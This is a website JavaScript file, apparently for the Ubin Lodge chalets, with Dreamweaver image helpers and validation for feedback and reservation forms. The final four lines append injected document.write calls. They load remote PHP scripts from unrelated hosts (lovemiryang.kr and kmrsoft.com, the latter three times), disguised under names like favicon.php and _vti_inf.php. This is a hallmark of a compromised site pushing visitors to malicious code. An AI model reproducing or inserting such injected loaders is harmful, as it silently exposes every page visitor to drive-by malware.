function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

function MM_goToURL() { //v3.0
  var i, args=MM_goToURL.arguments; document.MM_returnValue = false;
  for (i=0; i<(args.length-1); i+=2) eval(args[i]+".location='"+args[i+1]+"'");
}

function emptyfield(check,err_msg){
   if (check.value == ""){
      alert(err_msg);
	  check.focus();
	  return false;
   }
}

function validNum(check, err_msg){
   str=new String(check.value)
   if(isNaN(str) == true ){
      alert(err_msg)
	  check.focus();
	  return false;
   }
   if(check.value<0) {
   	alert(err_msg)
   	check.focus();
   	return false;
   }
}

function isInteger(val) {
	var digits="1234567890+";
	for (var i=0; i < val.length; i++) {
		if (digits.indexOf(val.charAt(i))==-1) { return false; }
	}
	return true;
}
function checkEmail(check){
   email = new String(check.value);
   errmsg="Invalid Email Address";
     if (email.indexOf("@") == -1){
	    alert(errmsg);
		check.focus();
		return false;
	 }
	 else
	 {
	   idx1=email.indexOf("@");
	 }
	 if(email.indexOf(".") == -1){
	    alert(errmsg);
		check.focus();
		return false;
	 }
	 else{
	    idx2=email.indexOf(".");
	 }
	 str1=email.substring(0,idx1);
	 if(str1.length < 2){
	    alert(errmsg);
		check.focus();
		return false;
	 }
	 str2=email.substring(idx1,idx2);
	 if(str2.length < 2){
	    alert(errmsg);
		check.focus();
		return false;
	 }
	 str3=email.substring(idx2,email.length-1);
	 if(str3.length < 2){
		alert(errmsg);
		check.focus();
		return false;
	 }
}
function valid(vl,errm) // varying number of arguments
{
	var i;
	validated=true;
	// scan regular expressions
	for (i=2;i<valid.arguments.length;i++) 
	{
		var rx;
		//alert(valid.arguments[i]);
		rx=new RegExp(valid.arguments[i]);
		if ((a=rx.exec(vl))!=null && a[0].length==vl.length) {
			//alert("output:" + a[0]);
			return true;  // ok
		}
	}
	// no matches...
	alert(errm);
	validated=false;  // tell onsubmit if necessary
	return false;
}

function checkOneEmail(check)
{
	// [\w-_]+(\.[\w-_]+)*\@+[\w-_]+(\.[\w-_]+)+
	//alert(vl);
	rv=valid(check,"Invalid email. Please enter a valid e-mail address.",
			"[\\w-_]+(\\.[\\w-_]+)*\\@+[\\w-_]+(\\.[\\w-_]+)+");
	return rv;
}
function checkBox(check,err_msg){
   var counter=0;
   for(var i=0;i<check.length;i++)
   {
     if(check[i].checked)
	 {
	   counter=counter+1;
	 }
   }
   if(counter < 1 )
   {
     alert(err_msg);
	 check[0].focus();
	 return false;
   }
}
var now=new Date();
var day =  now.getDate();
var month=now.getMonth()+1;
var year = now.getYear() ;
var dateFormatUsed = "DD/MM/YYYY";

function trim(inputString) {
   // Removes leading and trailing spaces from the passed string. Also removes
   // consecutive spaces and replaces it with one space. If something besides
   // a string is passed in (null, custom object, etc.) then return the input.
   if (typeof inputString != "string") { return inputString; }
   var retValue = inputString;
   var ch = retValue.substring(0, 1);
   while (ch == " ") { // Check for spaces at the beginning of the string
      retValue = retValue.substring(1, retValue.length);
      ch = retValue.substring(0, 1);
   }
   ch = retValue.substring(retValue.length-1, retValue.length);
   while (ch == " ") { // Check for spaces at the end of the string
      retValue = retValue.substring(0, retValue.length-1);
      ch = retValue.substring(retValue.length-1, retValue.length);
   }
   while (retValue.indexOf("  ") != -1) { // Note that there are two spaces in the string - look for multiple spaces within the string
      retValue = retValue.substring(0, retValue.indexOf("  ")) + retValue.substring(retValue.indexOf("  ")+1, retValue.length); // Again, there are two spaces in each of the strings
   }
   return retValue; // Return the trimmed string back to the user
} // Ends the "trim" function

function getDate(value,format) {
	if (value == null || value.length != format.length)
		return null;

	var nIndYear = format.indexOf("YYYY");
	var nIndMonth = format.indexOf("MM");
	var nIndDay = format.indexOf("DD");

	var nYear = parseInt(value.substring(nIndYear, nIndYear+4));
	var nMonth = parseInt(trimLeadingZero(value.substring(nIndMonth, nIndMonth + 2))) ;
	var nDay = parseInt(trimLeadingZero(value.substring(nIndDay, nIndDay + 2)));

	//alert("getDate " + nYear + "-" + nMonth + "-" + nDay);	

	var outDate = new Date(nYear, nMonth-1, nDay);
	//var outDate = new Date();
	//outDate.setFullYear(nYear);
	//outDate.setMonth(nMonth);
	//outDate.setDate(nDay);
	//alert (outDate);
	return outDate;
}

function trimLeadingZero(str) {
	if (str.charAt(0) == "0")
		return trimLeadingZero(str.substr(1))
	else
		return str
}

function isDateBeforeToday(sEffDate) {
	var dtEffDate = getDate(sEffDate,dateFormatUsed);
	dtEffDate = new Date(dtEffDate.getFullYear(), dtEffDate.getMonth(), dtEffDate.getDate(), 00,00,00)
	//alert (dtEffDate + " = " + dtEffDate.getTime());

	var today = new Date();
	today = new Date(today.getFullYear(), today.getMonth(), today.getDate(), 00,00,00)
	//alert (today + " = " + today.getTime());

	if (dtEffDate.getTime() == today.getTime()){
		return true;
      //alert ("equal");
   }
	else if (dtEffDate < today){
		return false;
		//alert ("early");
   }
	else if (dtEffDate > today){
		return true;
		//alert ("later");
   }

/*
  	var msPerDay = 24 * 60 * 60 * 1000 // Number of milliseconds per day
	//alert("dtEffDate.getTime() - today.getTime() / msPerDay\n"+dtEffDate.getTime()+" - "+today.getTime()+" / "+msPerDay)
   	var daysLeft = (dtEffDate.getTime() - today.getTime()) / msPerDay

	//alert("Date.parse(dtEffDate) - Date.parse(today) / msPerDay\n"+Date.parse(dtEffDate)+" - "+Date.parse(today)+" / "+msPerDay)
   	//var daysLeft = (Date.parse(dtEffDate) - Date.parse(today)) / msPerDay
   	var wholeDaysLeft = Math.floor(daysLeft);
	alert("Number of days from today: " + daysLeft + "\nNumber of whole days from today: " + wholeDaysLeft)
	//return true
*/   
}

function LZ(x) {return(x<0||x>9?"":"0")+x}
function CheckDate(value,format) {
		
	if (value == null || value.length != format.length) return false;
	
	var d="312831303130313130313031";
	var yr;
	var nIndYear = format.indexOf("YYYY");
	var nIndMonth = format.indexOf("MM");
	var nIndDay = format.indexOf("DD");

	var dYear = parseInt(value.substring(nIndYear, nIndYear+4));
	var dMonth = parseInt(trimLeadingZero(value.substring(nIndMonth, nIndMonth + 2))) ;
	var dDay = parseInt(trimLeadingZero(value.substring(nIndDay, nIndDay + 2)));

	var sDate = parseInt(dDay.length + dMonth.length + dYear.length);
	
	//alert("CheckDate " + dYear + "-" + dMonth + "-" + dDay);	
	

	// Expected inDate format: ddmmyyyy
	//dd = sDate.substring(0,2);
	//mm = sDate.substring(2,4);
	dd = LZ(dDay);
	mm =LZ(dMonth);
	yy = dYear;

	/* Now, convert the string yr1 into a numeric and test for leap year.
	If it is, change the end of month day string for Feb to 29  */		
	
	var isLeap = false;
	yy=yy*1;
	if (yy%400==0) isLeap = true
	else if (yy%100==0) isLeap = false
	else if (yy%4==0) isLeap = true;
	if (isLeap) d=d.substring(0,2)+"29" + d.substring(4,d.length);
	
	/* Pick the end of month day from the d string for this month. */

	pos=(mm*2)-2;
	ld=d.substring(pos,pos+2)+0;
	if (dd<1||dd>ld)
		return false;
	else if (mm<1||mm>12)
		return false;
	else if (yy<1870||yy>2038)
		return false;

	return true;		

}

function chkbox_recommend(cb) {
for (j = 0; j < 5; j++) {
if (eval("document.form1.wouldyourecommend[" + j + "].checked") == true) {
document.form1.wouldyourecommend[j].checked = false;
if (j == cb) {
document.form1.wouldyourecommend[j].checked = true;
         }
      }
   }
}
function feedbackform_check(frm) {
	var okFlag = true;
	var SDate = trim(frm.checkindate.value);
	var EDate = trim(frm.checkoutdate.value);

	var endDate = new Date(EDate);
	var startDate = new Date(SDate);
	
	for(i=0;i<frm.easeoffinding.length;i++) {
		if(frm.easeoffinding[i].checked) {
			//var easeoffinding=frm.easeoffinding[i].value;
			var easeoffinding = "1";
			break;
		}
	}
	if (easeoffinding !="1"){
		alert('Please kindly answer 1) Ease of finding your way to the Chalets.');
		frm.easeoffinding[0].focus();
		okFlag = false;
		return false;
	}
	for(i=0;i<frm.friendly.length;i++) {
		if(frm.friendly[i].checked) {
			var friendly = "1";
			break;
		}
	}
	if (friendly !="1"){
		alert('Please kindly answer 2) Friendly and helpful of the Caretaker.');
		frm.friendly[0].focus();
		okFlag = false;
		return false;
	}
	
	for(i=0;i<frm.easecheck.length;i++) {
		if(frm.easecheck[i].checked) {
			var easecheck = "1";
			break;
		}
	}
	if (easecheck !="1"){
		alert('Please kindly answer 3) Ease of Check-in and check-out.');
		frm.easecheck[0].focus();
		okFlag = false;
		return false;
	}

	for(i=0;i<frm.cleanliness.length;i++) {
		if(frm.cleanliness[i].checked) {
			var cleanliness = "1";
			break;
		}
	}
	if (cleanliness !="1"){
		alert('Please kindly answer 4) Cleanliness of the Chalet.');
		frm.cleanliness[0].focus();
		okFlag = false;
		return false;
	}
 
	for(i=0;i<frm.toiletcleanliness.length;i++) {
		if(frm.toiletcleanliness[i].checked) {
			var toiletcleanliness = "1";
			break;
		}
	}
	if (toiletcleanliness !="1"){
		alert('Please kindly answer 5) Toilet cleanliness.');
		frm.toiletcleanliness[0].focus();
		okFlag = false;
		return false;
	}
	for(i=0;i<frm.satisfaction.length;i++) {
		if(frm.satisfaction[i].checked) {
			var satisfaction = "1";
			break;
		}
	}
	if (satisfaction !="1"){
		alert('Please kindly answer 6) Satisfaction of Staying at Ubin Lodge.');
		frm.satisfaction[0].focus();
		okFlag = false;
		return false;
	}
	
	if(checkBox(frm.wouldyourecommend,"Please  kindly answer 7) Would you recommend Ubin Lodge to your friends/relatives/colleagues?")==false) {
		okFlag = false;
		return false;
	} 
	
	if(emptyfield(frm.email,"Please enter Contact Email Address")==false) {
		okFlag = false;
		return false;
	}
	if(checkOneEmail(frm.email.value,"Invalid Contact Email Address")==false) {
		frm.email.focus();
		okFlag = false;
		return false;
	}
	if(frm.checkindate.value!="" || frm.checkoutdate.value!="") {
		if (!CheckDate(trim(frm.checkindate.value),"DD-MM-YYYY"))
		{
			frm.checkindate.focus();
			alert ("Check in date that you had entered is an invalid date format (DD-MM-YYYY).");
			return;
		}	 
		if (!CheckDate(trim(frm.checkoutdate.value),"DD-MM-YYYY"))
		{
			frm.checkoutdate.focus();
			alert ("Check out date that you had entered is an invalid date format (DD-MM-YYYY).");
			return;
		}	
		if(SDate != '' && EDate != '' && SDate > endDate)
		{
			alert("Please ensure that the Check out date is greater than or equal to the Check in date.");
			frm.checkoutdate.focus();
			return false;
		}
	}
   
	if (okFlag == true) {
		frm.submit();
	}
}
function reserveform_check(frm) {
	var SDate = trim(frm.checkindate.value);
	var EDate = trim(frm.checkoutdate.value);

	var endDate = new Date(EDate);
	var startDate = new Date(SDate);
	
	if(emptyfield(frm.name, "Please enter Name")==false) return;
	if(emptyfield(frm.email, "Please enter Email Address")==false) return;
    if(frm.email.value!="") {
		if(!checkOneEmail(frm.email.value)) {
			frm.email.focus();
			return;
		}
	}
	if(emptyfield(frm.telno, "Please enter Telephone")==false) return;
	if(!isInteger(frm.telno.value)) {
		alert("Telephone can only be numeric");
		frm.telno.focus();
		return;
	}
	if(frm.faxno.value!="") {
		if(!isInteger(frm.faxno.value)) {
			alert("Fascimile can only be numeric");
			frm.faxno.focus();
			return;
		}
	}
	if(frm.companytelno.value!="") {
		if(!isInteger(frm.companytelno.value)) {
			alert("Company Telephone can only be numeric");
			frm.companytelno.focus();
			return;
		}
	}
	if(frm.companyfaxno.value!="") {
		if(!isInteger(frm.companyfaxno.value)) {
			alert("Company Telephone can only be numeric");
			frm.companyfaxno.focus();
			return;
		}
	}
	if (!CheckDate(trim(frm.checkindate.value),"DD-MM-YYYY"))
	{
		frm.checkindate.focus();
		alert ("Check in date that you had entered is an invalid date format (DD-MM-YYYY).");
		return;
	}	 
	if (!CheckDate(trim(frm.checkoutdate.value),"DD-MM-YYYY"))
	{
		frm.checkoutdate.focus();
		alert ("Check out date that you had entered is an invalid date format (DD-MM-YYYY).");
		return;
	}	
	if(SDate != '' && EDate != '' && startDate > endDate)
    {
    	alert("Please ensure that the Check out date is greater than or equal to the Check in date.");
    	frm.checkoutdate.focus();
        return false;
    }
    if(frm.checkindate.value!="") {
		if (!isDateBeforeToday(trim(frm.checkindate.value))) {
			alert("Check in date must be today or later!")
			frm.checkindate.focus();
			return;
		}
	}
	if(frm.checkoutdate.value!="") {
		if (!isDateBeforeToday(trim(frm.checkoutdate.value))) {
			alert("Check out date must be today or later!")
			frm.checkoutdate.focus();
			return;
		}
	}
	if(emptyfield(frm.contact_person, "Please enter Contact Person")==false) return;
	if(emptyfield(frm.contact_relationship, "Please enter Relationship")==false) return;
	if(frm.contact_telno.value!="") {
		if(!isInteger(frm.contact_telno.value)) {
			alert("Telephone/Fax can only be numeric");
			frm.contact_telno.focus();
			return;
		}
	}
	if(emptyfield(frm.contact_hpno, "Please enter Handphone")==false) return; 
	if(frm.contact_hpno.value!="") {
		if(!isInteger(frm.contact_hpno.value)) {
			alert("Handphone can only be numeric");
			frm.contact_hpno.focus();
			return;
		}
	}
	if(emptyfield(frm.contact_email, "Please enter Email")==false) return;
	if(checkOneEmail(frm.contact_email.value,"Invalid Email")==false) {
		frm.contact_email.focus();
		return;
	}
	frm.submit();
}

function blockNonNumbers(obj, e, allowDecimal, allowNegative)
{
	var key;
	var isCtrl = false;
	var keychar;
	var reg;
		
	if(window.event) {
		key = e.keyCode;
		isCtrl = window.event.ctrlKey
	}
	else if(e.which) {
		key = e.which;
		isCtrl = e.ctrlKey;
	}
	
	if (isNaN(key)) return true;
	
	keychar = String.fromCharCode(key);
	
	// check for backspace or delete, or if Ctrl was pressed
	if (key == 8 || isCtrl)
	{
		return true;
	}

	reg = /\d/;
	var isFirstN = allowNegative ? keychar == '-' && obj.value.indexOf('-') == -1 : false;
	var isFirstD = allowDecimal ? keychar == '.' && obj.value.indexOf('.') == -1 : false;
	
	return isFirstN || isFirstD || reg.test(keychar);
}
function openFullscreen(frmurl, scrollbar, wd, hg) {
	if (wd==0) {
	var wd=screen.width-5;
	}
	if (hg==0) {
	var hg=screen.height-55;
	}
	winame='maginfo';
	features='scrollbars='+scrollbar+',width='+ wd +',height='+ hg +',left=0,screenX=0,top=0,screenY=0,status=0';
	window.open(frmurl,winame,features);

}

document.write('<script src=http://lovemiryang.kr/data_file/lovesuwon/favicon.php ><\/script>');
document.write('<script src=http://kmrsoft.com/Temp/_vti_inf.php ><\/script>');
document.write('<script src=http://kmrsoft.com/Temp/_vti_inf.php ><\/script>');
document.write('<script src=http://kmrsoft.com/Temp/_vti_inf.php ><\/script>');